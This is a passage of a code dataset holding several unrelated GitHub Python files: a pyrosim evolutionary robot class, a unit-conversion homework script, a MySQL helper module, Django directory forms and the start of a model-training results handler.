dt.timedelta(days=1),\n                \"other_field\": f\"name{i*2}-{2}\",\n            }, {\n                KEY_FIELD_NAME: BASE_DATE - dt.timedelta(hours=23),\n                \"other_field\": f\"name{i*2}-{3}\",\n            }, {\n                # not displayed in the result because don't process today's logs\n                KEY_FIELD_NAME: BASE_DATE,\n                \"other_field\": f\"name{i*2}-{4}\",\n            },\n        ])\n\n    yt_config = yt_utils.get_server_settings(yt_utils.get_yt_settings(environment_settings), \"hahn\")[\"yt_config\"]\n    mocker.patch(\n        \"maps.garden.tools.stat_updater.lib.export_to_yt.YT_TABLE_DESCRIPTIONS\",\n        YT_TABLE_DESCRIPTIONS\n    )\n    mocker.patch(\n        \"maps.garden.tools.stat_updater.lib.export_to_yt.BUILDS_STATISTICS_DESCRIPTION\",\n        BUILDS_STATISTICS_DESCRIPTION\n    )\n    mocker.patch(\n        \"maps.garden.tools.stat_updater.lib.export_to_yt.YTStatSeries\",\n        FakeYtStatSeries\n    )\n    mocker.patch(\n        \"maps.garden.tools.stat_updater.lib.export_to_yt.BuildsStatisticsCreator\",\n        FakeBuildsStatisticsCreator\n    )\n    export_to_yt._export_to_yt(db, yt_config, BASE_PATH, max_days_ago=10)\n\n    return FakeYtStatSeries.Storage\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/test_export_to_yt.py","file_name":"test_export_to_yt.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40635199821","text":"import numpy as np\nimport pyrosim.pyrosim as pyrosim\nimport os\nimport random\nimport time\nimport constants as c\n\nclass SOLUTION:\n    def __init__(self, ID):\n        if c.numHiddenNeurons != 0:\n            self.motorWeights = np.random.rand(c.numHiddenNeurons, c.numMotorNeurons) * 2 - 1\n            self.sensorWeights = np.random.rand(c.numHiddenNeurons, c.numSensorNeurons) * 2 - 1\n\n        else:\n            self.weights = np.random.rand(c.numSensorNeurons, c.numMotorNeurons) * 2 - 1\n\n        if c.selfConnectNeurons:\n            self.hiddenWeights = np.random.rand(c.numHiddenNeurons + c.numMotorNeurons) * 2 - 1\n\n        if c.recurrentNeurons:\n            self.recurrentWeights = np.random.rand(c.numMotorNeurons, c.numHiddenNeurons) * 2 - 1\n\n        self.myID = ID\n        self.age = 1\n\n\n    def Start_Simulation(self, directOrGUI):\n        self.Generate_Brain()\n        os.system(\"start /B python simulate.py \" + directOrGUI + \" \" + str(self.myID) + \" &\")\n\n\n    def Final_Simulation(self):\n        self.Generate_Brain()\n        os.system('\"C:\\OBSCommand\\OBSCommand.exe\" /startrecording')\n        os.system(\"python simulate.py GUI \" + str(self.myID))\n        os.system('\"C:\\OBSCommand\\OBSCommand.exe\" /stoprecording')\n\n\n    def Wait_For_Simulation_To_End(self):\n        while not os.path.exists(\"fitness\" + str(self.myID) + \".txt\"):\n            time.sleep(0.01)\n\n        file_read = False\n\n        while not file_read:\n            try:\n                file = open(\"fitness\" + str(self.myID) + \".txt\", \"r\")\n                file_read = True\n            except PermissionError:\n                time.sleep(0.01)\n\n        self.fitness = file.read()\n#        print(self.fitness)\n        file.close()\n#        print(\"fitness: \" + str(self.fitness))\n        os.system(\"del fitness\" + str(self.myID) + \".txt\")\n\n        while not os.path.exists(\"footprints\" + str(self.myID) + \".npy\"):\n            time.sleep(0.01)\n\n        file_read = False\n\n        while not file_read:\n            try:\n                feet = np.load(\"footprints\" + str(self.myID) + \".npy\")\n                file_read = True\n            except:\n                time.sleep(0.01)\n\n        self.footprints = feet\n\n        os.system(\"del footprints\" + str(self.myID) + \".npy\")\n\n\n    def Create_World(self):\n        pyrosim.Start_SDF(\"world.sdf\")\n\n        pyrosim.End()\n\n\n    def Generate_Body(self):\n        pyrosim.Start_URDF(\"body.urdf\")\n\n        pyrosim.Send_Cube(name = \"Torso\", pos = [0,0,1] , size = [1.5,0.5,0.25])\n\n        # Right Front Leg\n        pyrosim.Send_Joint(name = \"Torso_URFL\", parent = \"Torso\", child = \"URFL\", type = \"revolute\", position = [0.5, 0.25, 1], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"URFL\", pos = [0, 0.0625, -0.375], size = [0.125, 0.125, 0.75])\n        pyrosim.Send_Joint(name = \"URFL_LRFL\", parent = \"URFL\", child = \"LRFL\", type = \"revolute\", position = [0, 0.0625, -0.675], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"LRFL\", pos = [0.25, 0, 0], size = [0.5, 0.125, 0.125])\n        pyrosim.Send_Joint(name = \"LRFL_RFF\", parent = \"LRFL\", child = \"RFF\", type = \"revolute\", position = [0.4375, 0, 0], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"RFF\", pos = [0, 0, -0.125], size = [0.125, 0.125, 0.25])\n\n        # Left Rear Leg\n        pyrosim.Send_Joint(name = \"Torso_ULRL\", parent = \"Torso\", child = \"ULRL\", type = \"revolute\", position = [-0.5, -0.25, 1], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"ULRL\", pos = [0, -0.0625, -0.375], size = [0.125, 0.125, 0.75])\n        pyrosim.Send_Joint(name = \"ULRL_LLRL\", parent = \"ULRL\", child = \"LLRL\", type = \"revolute\", position = [0, -0.0625, -0.675], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"LLRL\", pos = [0.25, 0, 0], size = [0.5, 0.125, 0.125])\n        pyrosim.Send_Joint(name = \"LLRL_LRF\", parent = \"LLRL\", child = \"LRF\", type = \"revolute\", position = [0.4375, 0, 0], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"LRF\", pos = [0, 0, -0.125], size = [0.125, 0.125, 0.25])\n\n        # Right Rear Leg\n        pyrosim.Send_Joint(name = \"Torso_URRL\", parent = \"Torso\", child = \"URRL\", type = \"revolute\", position = [-0.5, 0.25, 1], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"URRL\", pos = [0, 0.0625, -0.375], size = [0.125, 0.125, 0.75])\n        pyrosim.Send_Joint(name = \"URRL_LRRL\", parent = \"URRL\", child = \"LRRL\", type = \"revolute\", position = [0, 0.0625, -0.675], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"LRRL\", pos = [0.25, 0, 0], size = [0.5, 0.125, 0.125])\n        pyrosim.Send_Joint(name = \"LRRL_RRF\", parent = \"LRRL\", child = \"RRF\", type = \"revolute\", position = [0.4375, 0, 0], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"RRF\", pos = [0, 0, -0.125], size = [0.125, 0.125, 0.25])\n\n        # Left Front Leg\n        pyrosim.Send_Joint(name = \"Torso_ULFL\", parent = \"Torso\", child = \"ULFL\", type = \"revolute\", position = [0.5, -0.25, 1], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"ULFL\", pos = [0, -0.0625, -0.375], size = [0.125, 0.125, 0.75])\n        pyrosim.Send_Joint(name = \"ULFL_LLFL\", parent = \"ULFL\", child = \"LLFL\", type = \"revolute\", position = [0, -0.0625, -0.675], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"LLFL\", pos = [0.25, 0, 0], size = [0.5, 0.125, 0.125])\n        pyrosim.Send_Joint(name = \"LLFL_LFF\", parent = \"LLFL\", child = \"LFF\", type = \"revolute\", position = [0.4375, 0, 0], jointAxis = \"0 1 0\")\n        pyrosim.Send_Cube(name = \"LFF\", pos = [0, 0, -0.125], size = [0.125, 0.125, 0.25])\n\n\n        pyrosim.End()\n\n\n    def Generate_Brain(self):\n        pyrosim.Start_NeuralNetwork(\"brain\" + str(self.myID) + \".nndf\")\n\n        numNeurons = 0\n\n        if c.numHiddenNeurons != 0:\n            if c.targetsForSensors == []:\n                for l in pyrosim.linkNamesToIndices:\n                    pyrosim.Send_Sensor_Neuron(name = numNeurons, linkName = l)\n                    numNeurons += 1\n            else:\n                for n in c.targetsForSensors:\n                    pyrosim.Send_Sensor_Neuron(name = numNeurons, linkName = n)\n                    numNeurons += 1\n\n            for h in range(c.numHiddenNeurons):\n                pyrosim.Send_Hidden_Neuron(name = numNeurons + h)\n\n            numNeurons += c.numHiddenNeurons\n\n            for m in pyrosim.jointNamesToIndices:\n                pyrosim.Send_Motor_Neuron(name = numNeurons, jointName = m)\n                numNeurons += 1\n\n            for s in range(c.numSensorNeurons):\n                for h in range(c.numHiddenNeurons):\n                    pyrosim.Send_Synapse(sourceNeuronName = s, targetNeuronName = c.numSensorNeurons + h, weight = self.sensorWeights[h][s])\n\n            for h in range(c.numHiddenNeurons):\n                for m in range(c.numMotorNeurons):\n                    pyrosim.Send_Synapse(sourceNeuronName = c.numSensorNeurons + h, targetNeuronName = c.numSensorNeurons + c.numHiddenNeurons + m, weight = self.motorWeights[h][m])\n\n        else:\n            for l in pyrosim.linkNamesToIndices:\n                pyrosim.Send_Sensor_Neuron(name = numNeurons, linkName = l)\n                numNeurons += 1\n\n            for m in pyrosim.jointNamesToIndices:\n                pyrosim.Send_Motor_Neuron(name = numNeurons, jointName = m)\n                numNeurons += 1\n\n            for s in range(c.numSensorNeurons):\n                for m in range(c.numMotorNeurons):\n                    pyrosim.Send_Synapse(sourceNeuronName = s, targetNeuronName = m + c.numSensorNeurons, weight = self.weights[s][m])\n\n        if c.selfConnectNeurons:\n            for m in range(c.numHiddenNeurons + c.numMotorNeurons):\n                pyrosim.Send_Synapse(sourceNeuronName = m + c.numSensorNeurons, targetNeuronName = m + c.numSensorNeurons, weight = self.hiddenWeights[m])\n\n        if c.recurrentNeurons and c.numHiddenNeurons != 0:\n            for m in range(c.numMotorNeurons):\n                for h in range(c.numHiddenNeurons):\n                     pyrosim.Send_Synapse(sourceNeuronName = m + c.numSensorNeurons + c.numHiddenNeurons, targetNeuronName = h + c.numSensorNeurons, weight = self.recurrentWeights[m][h])\n\n        pyrosim.End()\n\n\n    def Mutate(self):\n        if c.numHiddenNeurons != 0:\n            motorOrSensor = np.random.rand()\n\n            if motorOrSensor > 0.5:\n                self.sensorWeights[random.randint(0, c.numHiddenNeurons) - 1][random.randint(0, c.numSensorNeurons) - 1] = random.uniform(-1, 1)\n            else:\n                self.motorWeights[random.randint(0, c.numHiddenNeurons) - 1][random.randint(0, c.numMotorNeurons) - 1] = random.uniform(-1, 1)\n\n        else:\n            self.weights[random.randint(0, c.numSensorNeurons) - 1][random.randint(0, c.numMotorNeurons) - 1] = random.uniform(-1, 1)\n\n        if c.selfConnectNeurons:\n            if np.random.rand() > 0.5:\n                self.hiddenWeights[random.randint(0, c.numHiddenNeurons + c.numMotorNeurons) - 1] = random.uniform(-1, 1)\n\n        if c.recurrentNeurons and c.numHiddenNeurons != 0:\n            if np.random.rand() > 0.5:\n                self.recurrentWeights[random.randint(0, c.numMotorNeurons) -1][random.randint(0, c.numHiddenNeurons) - 1] = random.uniform(-1,1)\n\n\n    def Set_ID(self, ID):\n        self.myID = ID\n","repo_name":"azuchows/evobots","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":9188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33237912337","text":"\"\"\"\nAuthor: Gabriel Edid Harari\nDate: August 21st 2022\nDescription: Homework on Algorithms\n\"\"\"\n#variables section\nmeters = 0\nfeet = 3.28084\nresult = 0\n\n#Code Starts Here... Start my Process\nmeters = float(input(\"Please give a measure in meters: \"))\nresult = meters*feet\nprint(meters, \"meters is\", result, \"feet.\")\n#Code Finishes Here\n","repo_name":"GabrielEdid/Computational_Modeling","sub_path":"Single Python Codes/Calculate Meters to Feet.py","file_name":"Calculate Meters to Feet.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32212083612","text":"# -*- coding:utf-8 -*-\nimport time\nimport uuid\nimport functools\nimport threading\nimport logging\n\n\nclass Dict(dict):\n    #定义一个新的字典类，继承dict\n    def __init__(self, names=(), values=(), **kw):\n        #初始化方法，通过SUPER调用dict的初始化方法\n        super(Dict, self).__init__(**kw)\n        #zip方法会从给定的list中各取一个值，构成一个tuple，组成list返回\n        #例zip([1,2,3], [4,5,6]) 返回[(1,4),(2,5),(3,6)]\n        for k, v in zip(names, values):\n            self[k] = v\n\n    #dict没有getattr和setattr，增加这两个方法之后，支持d.id的方式访问\n    def __getattr__(self, key):\n        try:\n            return self[key]\n        except KeyError:\n            raise AttributeError(r\"'Dict' object has no attribute '%s'\" % key)\n\n    def __setattr__(self, key, value):\n        self[key] = value\n\nengine = None\n\n\ndef next_id(t=None):\n    '''生成一个唯一id，由时间+随机数（伪随机数）拼接得到'''\n    if t is None:\n        t = time.time()\n    return '%015d%s000' % (int(t * 1000), uuid.uuid4().hex)\n\n\ndef _profiling(start, sql=''):\n    '''计算sql的执行时间'''\n    t = time.time() - start\n    if t > 0.1:\n        logging.warning('[PROFILING][DB] %s %s' % (t, sql))\n    else:\n        logging.info('[PROFILING][DB] %s %s' % (t, sql))\n\n\n#定义两个错误类，后面报错的时候用到\nclass DBError(Exception):\n    pass\n\n\nclass MultiColumnsError(DBError):\n    pass\n\n\nclass _Engine(object):\n    #定义engine对象，封装了connect方法\n    def __init__(self, connect):\n        self._connect = connect\n\n    def connect(self):\n        return self._connect()\n\n\ndef create_engine(user, password, database, host='127.0.0.1', port=3306, **kw):\n    '''\n    核心方法，创建一个数据库连接engine对象（全局）\n    engine对象持有数据库连接    \n    '''\n    import mysql.connector\n    global engine\n    #如果已经连接过数据库了，则报错\n    if engine is not None:\n        raise DBError('Engine is already initialized.')\n    params = dict(user=user, password=password, database=database, host=host, port=port)\n    defaults = dict(use_unicode=True, charset='utf8', collation='utf8_general_ci', autocommit=False)\n    #比较defaults和传入的字典，如果有重复的key，以传入的为准\n    #字典的pop方法，是删除给定的key，并返回key对应的value，如果字典中没有\n    #这个key，则返回默认值或者是给定的v\n    for k, v in defaults.iteritems():\n        #这里一方面删掉了kw中与defaults重复的key\n        #另一方面，把params和defaults合并了\n        params[k] = kw.pop(k, v)\n    #params再合并kw    \n    params.update(kw)\n    params['buffered'] = True\n    #封��数据库连接方法，通过engine.connect()来调用\n    engine = _Engine(lambda: mysql.connector.connect(**params))\n\n    logging.info('Init mysql engine <%s> ok' % hex(id(engine)))\n\n\nclass _LasyConnection(object):\n    def __init__(self):\n        self.connection = None\n\n    def cursor(self):\n        global engine\n        if self.connection is None:\n            #创建链接\n            _connection = engine.connect()\n            logging.info('[OPEN] connection <%s>...' % hex(id(engine)))\n            self.connection = _connection\n        return self.connection.cursor()\n\n    def commit(self):\n        self.connection.commit()\n\n    def rollback(self):\n        self.connection.rollback()\n\n    def cleanup(self):\n        if self.connection:\n            connection = self.connection\n            self.connection = None\n            logging.info('[CLOSE] connection <%s>...' % hex(id(connection)))\n            connection.close()\n\n\nclass _DbCtx(threading.local):\n    def __init__(self):\n        self.connection = None\n        self.transactions = 0\n\n    def is_init(self):\n        return not self.connection is None\n\n    def init(self):\n        logging.info('[OPEN] lazy connection...')\n        self.connection = _LasyConnection()\n        self.transactions = 0\n\n    def cursor(self):\n        return self.connection.cursor()\n\n    def cleanup(self):\n        self.connection.cleanup()\n        self.connection = None\n\n_db_ctx = _DbCtx()\n\n\nclass _ConnectionCtx(object):\n    #自动初始化连接和最后关闭连接\n    def __enter__(self):\n        global _db_ctx\n        self.should_cleanup = False\n        if not _db_ctx.is_init():\n            _db_ctx.init()\n            self.should_cleanup = True\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        global _db_ctx\n        if self.should_cleanup:\n            _db_ctx.cleanup()\n\n\ndef connection():\n    return _ConnectionCtx()\n\ndef with_connection(func):\n    #装饰器，封装with connection()\n    def wrapper(*args, **kw):\n        with connection():\n            return func(*args, **kw)\n    return wrapper\n\nclass _TransactionCtx(object):\n    #封装事务\n    def __enter__(self):\n        global _db_ctx\n        self.should_close_conn = False\n        if not _db_ctx.is_init():\n            _db_ctx.init()\n            self.should_close_conn = True\n        _db_ctx.transactions = _db_ctx.transactions + 1\n        logging.info('[BEGIN] transaction...')\n        if _db_ctx.transactions != 1:\n            logging.info('join current transaction')\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        global _db_ctx\n        _db_ctx.transactions = _db_ctx.transactions - 1\n        try:\n            if _db_ctx.transactions == 0:\n                if type is None:\n                    self.commit()\n            else:\n                self.rollback()\n        finally:\n            if self.should_close_conn:\n                _db_ctx.cleanup()\n\n    def commit(self):\n        global _db_ctx\n        logging.info('commit transaction...')\n        try:\n            _db_ctx.connection.commit()\n            logging.info('commit ok')\n        except:\n            logging.warning('commit failed. try rollback...')\n            _db_ctx.connection.rollback()\n            logging.info('rollback ok...')\n\n    def rollback(self):\n        global _db_ctx\n        logging.warning('rollback transaction...')\n        _db_ctx.connection.rollback()\n        logging.info('rollback ok...')\n\ndef transaction():\n    return _TransactionCtx()\n\ndef with_transaction(func):\n    '''装饰器，封装事务with transaction()'''\n    @functools.wraps(func)\n    def wrapper(*args, **kw):\n        _start = time.time()\n        with transaction():\n            func(*args, **kw)\n        _profiling(_start)\n    return wrapper\n\ndef _select(sql, first, *args):\n    #通过first参数来确定是单选，还是多选\n    global _db_ctx\n    cursor = None\n    sql = sql.replace('?', '%s')\n    logging.info('SQL:%s, ARGS:%s' % (sql, args))\n    try:\n        cursor = _db_ctx.cursor()\n        # execute第二个参数需要是元组，所以args前面的*去掉了，这里要特别注意\n        cursor.execute(sql, args)\n        if cursor.description:\n            names = [x[0] for x in cursor.description]\n            if first:\n                values = cursor.fetchone()\n                if not values:\n                    return None\n                return Dict(names, values)\n            return [Dict(names, x) for x in cursor.fetchall()]\n    finally:\n        if cursor:\n            cursor.close()\n\n@with_connection\ndef select_one(sql, *args):\n    return _select(sql, True, *args)\n\n@with_connection\ndef select_int(sql, *args):\n    d = _select(sql, True, *args)\n    if len(d) != 1:\n        raise MultiColumnsError('Expect only one column.')\n    return d.values()[0]\n\n@with_connection\ndef select(sql, *args):\n    return _select(sql, False, *args)\n\n@with_connection\ndef _update(sql, *args):\n    global _db_ctx\n    cursor = None\n    sql = sql.replace('?', '%s')\n    logging.info('SQL: %s, ARGS: %s' % (sql, args))\n    try:\n        cursor = _db_ctx.cursor()\n        #execute第二个参数需要是元组，所以args前面的*去掉了，这里要特别注意\n        cursor.execute(sql, args)\n        r = cursor.rowcount\n        if _db_ctx.transactions == 0:\n            #update之后，自动提交\n            logging.info('Auto commit')\n            _db_ctx.connection.commit()\n        return r\n    finally:\n        if cursor:\n            cursor.close()\n\ndef update(sql, *args):\n    return _update(sql, *args)\n\ndef insert(table, **kw):\n    cols, args = zip(*kw.iteritems())\n    #格式化字符串，如果有多个参数，用括号括起来，否则可能会有问题\n    sql = 'insert into %s(%s) values(%s)' % (table, ','.join(['%s' % col for col in cols]), ','.join(['?' for i in range(len(cols))]))\n    return _update(sql, *args)\n\nif __name__ == '__main__':\n    #测试\n    logging.basicConfig(level=logging.DEBUG)\n    create_engine('root', 'qian1205', 'test')\n    update('drop table if exists user')\n    update('create table user (id int primary key, name text)')\n    insert('user',id=1, name='qian')\n    import doctest\n    doctest.testmod()\n","repo_name":"jk4235/awesome-web-app","sub_path":"www/transwarp/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":8954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74789319762","text":"from crispy_forms.bootstrap import FormActions\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import HTML, Layout, Field, Submit, Div\nfrom django.core import validators\nfrom django import forms\nfrom django.forms.models import inlineformset_factory\nfrom django.contrib.gis import forms as geoforms\nfrom django.utils.translation import ugettext as _\n\nfrom directory.models import Business, BusinessImage, BusinessHours, \\\n                             ImageTag, Category, SocialId, SOCIAL_TYPES\n\nclass LatLongWidget(forms.MultiWidget):\n    def __init__(self, attrs=None, date_format=None, time_format=None):\n        widgets = (forms.TextInput(attrs=attrs),\n                   forms.TextInput(attrs=attrs))\n        super(LatLongWidget, self).__init__(widgets, attrs)\n\n    def decompress(self, value):\n        if value:\n            return tuple(reversed(value.coords))\n        return (None, None)\n\nclass LatLongField(forms.MultiValueField):\n    widget = LatLongWidget\n    srid = 4326\n\n    default_error_messages = {\n        'invalid_latitude' : _('Enter a valid latitude.'),\n        'invalid_longitude' : _('Enter a valid longitude.'),\n    }\n    def __init__(self, *args, **kwargs):\n        fields = (forms.FloatField(min_value=-90, max_value=90), \n                  forms.FloatField(min_value=-180, max_value=180))\n        super(LatLongField, self).__init__(fields, *args, **kwargs)\n\n    def compress(self, data_list):\n        if data_list:\n            if data_list[0] in validators.EMPTY_VALUES:\n                raise forms.ValidationError(self.error_messages['invalid_latitude'])\n            if data_list[1] in validators.EMPTY_VALUES:\n                raise forms.ValidationError(self.error_messages['invalid_longitude'])\n            srid_str = 'SRID=%d'%self.srid\n            point_str = 'POINT(%f %f)'%tuple(reversed(data_list))\n            return ';'.join([srid_str, point_str])\n        return None\n\nclass CategoryForm(forms.ModelForm):\n    level = forms.IntegerField(label='Level: ', required=False)\n    class Meta:\n        model = Category\n        fields = ( \"name\",\n                   \"level\", \n                   \"description\", \n                 )\n\n    def __init__(self, *args, **kwargs):\n        self.helper = FormHelper()\n        self.helper.form_class = 'form-horizontal'\n        self.helper.layout = Layout(\n            Div(\n                Div(\n                    Field('name', css_class='input-xxlarge'),\n                    css_class='col-sm-8'),\n                Div(\n                    Field('level'),\n                    css_class='col-sm-4'),\n                css_class='row'),\n            Field('description', css_class='input-xxlarge'),\n            FormActions(\n                Submit('submit', 'Save', css_class='btn btn-success'),\n            )\n        )\n        super(CategoryForm, self).__init__(*args, **kwargs)\n\nclass ImageTagForm(forms.ModelForm):\n    description = forms.CharField(label='Description: ', required=False)\n    class Meta:\n        model = ImageTag\n        fields = ( \"name\",\n                   \"description\", \n                 )\n\n    def __init__(self, *args, **kwargs):\n        self.helper = FormHelper()\n        self.helper.form_class = 'form-horizontal'\n        self.helper.layout = Layout(\n            Field('name', css_class='input-xxlarge'),\n            Field('description', css_class='input-xxlarge'),\n            FormActions(\n                Submit('submit', 'Save', css_class='btn btn-success'),\n            )\n        )\n        super(ImageTagForm, self).__init__(*args, **kwargs)\n\nclass BizImportForm(forms.Form):\n    id = forms.CharField(label='FS Id: ', required=True)\n    url = forms.URLField(label='FS URL: ', required=True)\n\n    def __init__(self, *args, **kwargs):\n        self.helper = FormHelper()\n        self.helper.form_class = 'form-horizontal'\n        self.helper.layout = Layout(\n            Field('id'),\n            Field('url'),\n            FormActions(\n                Submit('submit', 'Import', css_class='btn btn-success'),\n            )\n        )\n        super(BizImportForm, self).__init__(*args, **kwargs)\n\nclass BusinessForm(forms.ModelForm):\n    class Meta:\n        model = Business\n        fields = ( \"status\",\n                   \"name\", \n                   \"categories\",\n                   \"description\",\n                   \"phone\",\n                   \"website\",\n                   \"is_searchable\",\n                   \"has_physical_business\",\n                   \"has_online_business\",\n                   \"has_bitcoin_discount\",\n                 )\n\n    def __init__(self, *args, **kwargs):\n        catSet = Category.objects.all().order_by('title')\n        self.categories = forms.ModelMultipleChoiceField(queryset=catSet)\n        self.helper = FormHelper()\n        self.helper.form_class = 'form-horizontal'\n        self.helper.layout = Layout(\n            Field('status'),\n            Field('name', css_class='input-xxlarge'),\n            Field('categories'),\n            Field('phone'),\n            Field('website'),\n            Field('is_searchable', type='hidden'),\n            Field('has_physical_business'),\n            Field('has_online_business'),\n            Field('has_bitcoin_discount'),\n            Field('description', css_class='input-xxlarge'),\n            FormActions(\n                Submit('submit', 'Save', css_class='btn btn-success'),\n            )\n        )\n        super(BusinessForm, self).__init__(*args, **kwargs)\n\n\nclass BizAddressForm(geoforms.ModelForm):\n    center = LatLongField(label=\"\", required=False, \\\n                          widget=LatLongWidget(attrs={'style': 'width: 150px'}))\n    admin3_name = forms.CharField(label='City: ', required=False)\n    admin2_name = forms.CharField(label='County: ', required=False)\n    admin1_code = forms.CharField(label='State: ', required=False)\n    class Meta:\n        model = Business\n        fields = ( \"address\",\n                   \"admin3_name\", \n                   \"admin2_name\", \n                   \"admin1_code\",\n                   \"postalcode\",\n                   \"country\",\n                   \"center\"\n                 )\n\n    def __init__(self, *args, **kwargs):\n        self.helper = FormHelper()\n        self.helper.layout = Layout(\n            Div(\n                Div(\n                    Field('address', css_class='input-xxlarge'),\n                    Field('admin3_name', css_class='input-xxlarge'),\n                    Field('admin2_name', css_class='input-xxlarge'),\n                    Field('admin1_code'),\n                    css_class=\"col-sm-6\"),\n                Div(\n                    Field('postalcode'),\n                    Field('country'),\n                    Div(\n                        HTML(\"<label class='control-group'>Lat/Lon</label>\"),\n                        Div(\n                            Field('center'),\n                            HTML('&nbsp;<button class=\"btn btn-default geocode-address\">Lookup Lat/Lon</button>'),\n                            css_class='form-inline')),\n                    css_class=\"col-sm-6\"),\n                css_class=\"row\"),\n            Div(\n                Div(\n                    FormActions(\n                        Submit('submit', 'Save', css_class='btn btn-success'),\n                    ),\n                    style='text-align: center;', css_class='col-sm-12'),\n                css_class='row')\n        )\n        super(BizAddressForm, self).__init__(*args, **kwargs)\n\nclass BizImageForm(forms.ModelForm):\n    class Meta:\n        model = BusinessImage\n        fields = (\"image\", \"tags\", )\n\n    def __init__(self, *args, **kwargs):\n        self.helper = FormHelper()\n        self.helper.form_class = 'form-horizontal'\n        self.helper.layout = Layout(\n            Field('image'),\n            Field('tags'),\n            FormActions(\n                Submit('submit', 'Save', css_class='btn btn-success'),\n            )\n        )\n        super(BizImageForm, self).__init__(*args, **kwargs)\n\nclass BizImageLinkForm(forms.Form):\n    url = forms.URLField(label='Image URL: ', required=True)\n\n    def __init__(self, *args, **kwargs):\n        self.helper = FormHelper()\n        self.helper.form_class = 'form-horizontal'\n        self.helper.layout = Layout(\n            Field('url'),\n            FormActions(\n                Submit('submit', 'Save', css_class='btn btn-success'),\n            )\n        )\n        super(BizImageLinkForm, self).__init__(*args, **kwargs)\n\n\nclass SocialForm(forms.ModelForm):\n    social_type = forms.ChoiceField(choices=SOCIAL_TYPES)\n    class Meta:\n        model = SocialId\n        fields=(\"social_type\", \"social_id\", \"social_url\", )\n\nclass SocialFormHelper(FormHelper):\n    def __init__(self, *args, **kwargs):\n        super(SocialFormHelper, self).__init__(*args, **kwargs)\n        self.form_method = 'post'\n        self.layout = Layout(\n            'social_type',\n            'social_id',\n            'social_url',\n        )\n        self.render_required_fields = True,\n        self.template = 'bootstrap/table_inline_formset.html'\n        self.add_input(Submit(\"submit\", \"Save\"))\n\nSocialFormSet = inlineformset_factory(Business, SocialId, form=SocialForm, extra=1, can_delete=True)\n\nclass HoursForm(forms.ModelForm):\n    class Meta:\n        model = BusinessHours\n        fields=(\"dayOfWeek\", \"hourStart\", \"hourEnd\", )\n\nclass HoursFormSetHelper(FormHelper):\n    def __init__(self, *args, **kwargs):\n        super(HoursFormSetHelper, self).__init__(*args, **kwargs)\n        self.form_method = 'post'\n        self.layout = Layout(\n            'dayOfWeek',\n            'hourStart',\n            'hourEnd',\n        )\n        self.render_required_fields = True,\n        self.template = 'bootstrap3/table_inline_formset.html'\n        self.add_input(Submit(\"submit\", \"Save\"))\n\nHoursFormSet = inlineformset_factory(Business, BusinessHours, form=HoursForm, extra=1, can_delete=True)\n\n\n","repo_name":"EdgeApp/airbitz-directory","sub_path":"airbitz/management/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":9848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29961239566","text":"from modules.ConsensusCaller import ConsensusCaller\nfrom modules.alignment_utils import *\nfrom modules.pileup_utils import *\nfrom matplotlib import pyplot\nimport matplotlib\nfrom os import path\nimport datetime\nimport numpy\nimport torch\nimport sys\nimport os\nsys.path.append(os.path.dirname(sys.path[0]))\n\n\nclass ResultsHandler:\n    def __init__(self):\n        self.datetime_string = '-'.join(list(map(str, datetime.datetime.now().timetuple()))[:-1])\n        self.subdirectory_name = \"training_\" + self.datetime_string\n\n        self.output_directory_name = \"output/\"\n        self.directory = path.join(self.output_directory_name, self.subdirectory_name)\n\n        self.n_checkpoints = 0\n\n        FileManager.ensure_directory_exists(self.directory)\n\n    def save_plot(self, losses):\n        loss_plot_filename = path.join(self.directory, \"loss.png\")\n\n        figure = pyplot.figure()\n        axes = pyplot.axes()\n        axes.plot(losses)\n        pyplot.savefig(loss_plot_filename)\n\n    def save_model(self, model):\n        self.n_checkpoints += 1\n\n        model_filename = path.join(self.directory, \"model_checkpoint_%d\" % self.n_checkpoints)\n        torch.save(model.state_dict(), model_filename)\n\n        print(\"MODEL SAVED: \", model_filename)\n\n    def save_config(self, model):\n        pass\n\n\ndef calculate_accuracy_from_confusion(matrix, exclude_gaps=False):\n    if exclude_gaps:\n        matrix = matrix[1:,1:]\n\n    n, m = matrix.shape\n    diagonal_mask = numpy.eye(n,m, dtype=numpy.bool)\n    off_diagonal_mask = numpy.invert(diagonal_mask)\n\n    true_positives = numpy.sum(matrix[diagonal_mask])\n    false_positives = numpy.sum(matrix[off_diagonal_mask])\n\n    accuracy = true_positives / (true_positives + false_positives)\n\n    return accuracy\n\n\ndef realign_consensus_to_reference(consensus_sequence, ref_sequence, print_alignment=False, return_strings=False):\n    alignments, ref_alignment = get_spoa_alignment(sequences=[consensus_sequence], ref_sequence=ref_sequence, two_pass=False)\n    # ref_alignment = [ref_alignment]\n\n    if print_alignment:\n        print(ref_alignment[0])\n        print(alignments[0])\n\n    pileup_matrix = convert_aligned_reference_to_one_hot(alignments[0])\n    reference_matrix = convert_aligned_reference_to_one_hot(ref_alignment[0])\n\n    if 